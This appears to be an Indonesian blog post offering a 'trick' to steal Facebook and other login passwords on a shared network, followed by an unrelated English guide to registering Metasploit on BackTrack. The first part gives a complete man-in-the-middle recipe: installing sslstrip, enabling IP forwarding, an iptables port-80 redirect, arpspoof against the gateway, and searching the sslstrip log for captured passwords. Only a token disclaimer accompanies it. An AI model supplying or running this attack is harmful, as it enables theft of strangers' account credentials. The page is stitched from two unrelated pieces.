Cara Hacking Facebook Menggunakan Backtrack 5 r3

Cara Hacking Facebook Menggunakan Backtrack 5 r3

assalammualaikum wr.wb 

 apa kabar para blogger dan pengunjung setia jordan blog ini? :D . setelah sekian lama saya ga posting , kali ini saya akan berbagi tricks yaitu seperti judul yang telah disebutkan "Cara Hacking Facebook Menggunakan Backtrack 5 r3 . apa itu Backtrack? backtrack yaitu sebuah sistem operasi LINUX. oke dari pada penasaran pengen tau lebih jelasnya mari di simak dan di perhatikan betul perintah-perintahnya :

mula - mula anda masuk terminal, terus kalo udah masuk kita masuk ke root dulu dengan memberikan perintah ini SUDO SU-


Pertama-tama siapkan tool yang akan kita gunakan

    Arpspoof
    Sslstrip-0.9
    OS Linux 32 Bit

Setelah semua tool yang di butuhkan sudah tersedia lakukan langkah berikut (jika paket belum terinstal) :

1) Buka Terminal kemudian ketikkan : wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz

2) Kemudian extract file dengan cara : tar zxvf sslstrip-0.9.tar.gz

3) Ok sekarang kita masuk ke dalam folder baru dari file yang telah kita extract tadi : cd sslstrip-0.9 
4) Dan untuk menginstal ketikkan : python setup.py install 


    
Lakukan langkah berikut ( Jika paket sudah terinstall )

Gunakan cara ini setiap kali jika ingin mencuri password lagi


1) Pertama hidupkan terlebih dahulu port untuk memforward : echo ’1′ > /proc/sys/net/ipv4/ip_forward 

2) Kemudian cari gateway atau pintu dari jaringan yang akan kita sadap dengan cara : netstat -nr 




3) sekarang kita reset port http ke port 8080, ketikan : iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 




4) Mulai menyadap dengn cara : arpspoof -i wlan0 192.168.0.1 ( 192.168.0.1) adalah gateway dari jaringan yang saya gunakan, gantilah gateway tersebut dengan gateway yang anda temukan dari netstat -nr tadi) 



5) Kemudian buka terminal baru lalu ketikkan  : sslstrip -l 8080 untuk mengaktifkan cookies yang akan kita baca 




6) Set up is complete!! Ok sekarang kita telah menyadap akses jaringan yang melewati gateway.

7) jika anda ingin melihat akses kemana sajakah itu gunakan perintah : tail -f sslstrip.log

8) dan saat ada seseorang melakuakn login entah facebook yahoo gmail atau apapun yang menggunakan username dan password WALAAA kita akan mengetahuinya.



karena akan memakan waktu yang cukup lama karena harus menunggu ada seseorang yang mlakukan login jadi kita harus bersabar. dan itupun akan muncul script yang cukup banyak. gunakan perintah find "pass: tanpa petik agar kita lebih mudah menemukannya

HANYA UNTUK PENGETAHUAN, JANGAN DI SALAH GUNAKAN YA KAWAN :D

sekian Tricks Hacking dari saya, semoga berhasil gan :D

Metasploit

Previous postNext post

Using BackTrack 5 R3 with Metasploit Community or Metasploit Pro

As of version 5 R3, BackTrack comes pre-installed with Metasploit 4.4, so it's now easier to use Metasploit Community Edition or Metasploit Pro on BackTrack. Here is how it's done:

• After BackTrack boots, enter startx to get into the UI.
• Install BackTrack in a virtual machine using the Install BackTrack icon in the top left corner. This is recommended so that Metasploit remembers its product key; otherwise, you would have to register Metasploit each time.
• Log in with user root, password toor. Enter startx.
• In the main menu, open BackTrack / Exploitation Tools / Network Exploitation Tools / Metasploit Framework and select start msfpro, which starts the service for the commercial Metasploit UI.
  
• The Metasploit service is started when you see the following screen:
  
• Open the Firefox browser from the Internet menu.
• Enter the URL https://localhost:3790. Note that the connection must be https.
• You'll see "This Connection is Untrusted". If the server cannot be reached, the Metasploit server may not be started. Please wait a few seconds and try again.
• Since the Metasploit UI uses a user-generated, unsigned SSL certificate, Firefox complains that the connection is untrusted. Click on I understand the risks, Add Exception..., and Confirm Security Exception.
• Metasploit is now initializing and creating the exploit database. Depending on your hardware, this may take up to 10 minutes. You may also see this screen when you launch Metasploit the second time, but the startup time should only be a couple of minutes at the most.
  
  
• The NoScript Addon is installed by default on BackTrack and makes registration and use of Metasploit very difficult. The easiest option is to allow JavaScript globally. Click on the NoScript icon to the left of the URL field and select Allow Scripts Globally (dangerous). Confirm the popup dialogue.
  
• You should also turn off the Application Boundary Enforcer since it causes some issues with the registration. Open the same NoScript menu, chooseNoScript Options, choose Advanced tab, choose ABE sub-tab, and uncheck Enable ABE (Application Boundary Enforcer). Confirm the dialog with OK.
  
• Enter a username and password, and click Create Account. You should now see the following screen:
  
• Click on Get Product Key.
• Choose either Metasploit Pro Trial if you want to get a test of the fully featured product, or Metasploit Community if you're working for an SMB or are a student and need a limited but free edition.
• Complete the registration screen.
• You're now back at this screen:
  
• Within 5 minutes of completing the form, you'll receive an email with a product key. Copy it to the text field under number 2, then click Activate License. You should now see this success message:
  
• Now that you've registered Metasploit, you have access to the update packages, which give you access to new features, exploits, and bug fixes. To update Metasploit, follow these steps:

1. In the Administration menu, choose Software Updates.
2. Click Check for Updates.
3. Click Install.
4. Repeat the process until the software update reports that there are no more updates available. 
   

Congratulations, you're good to go!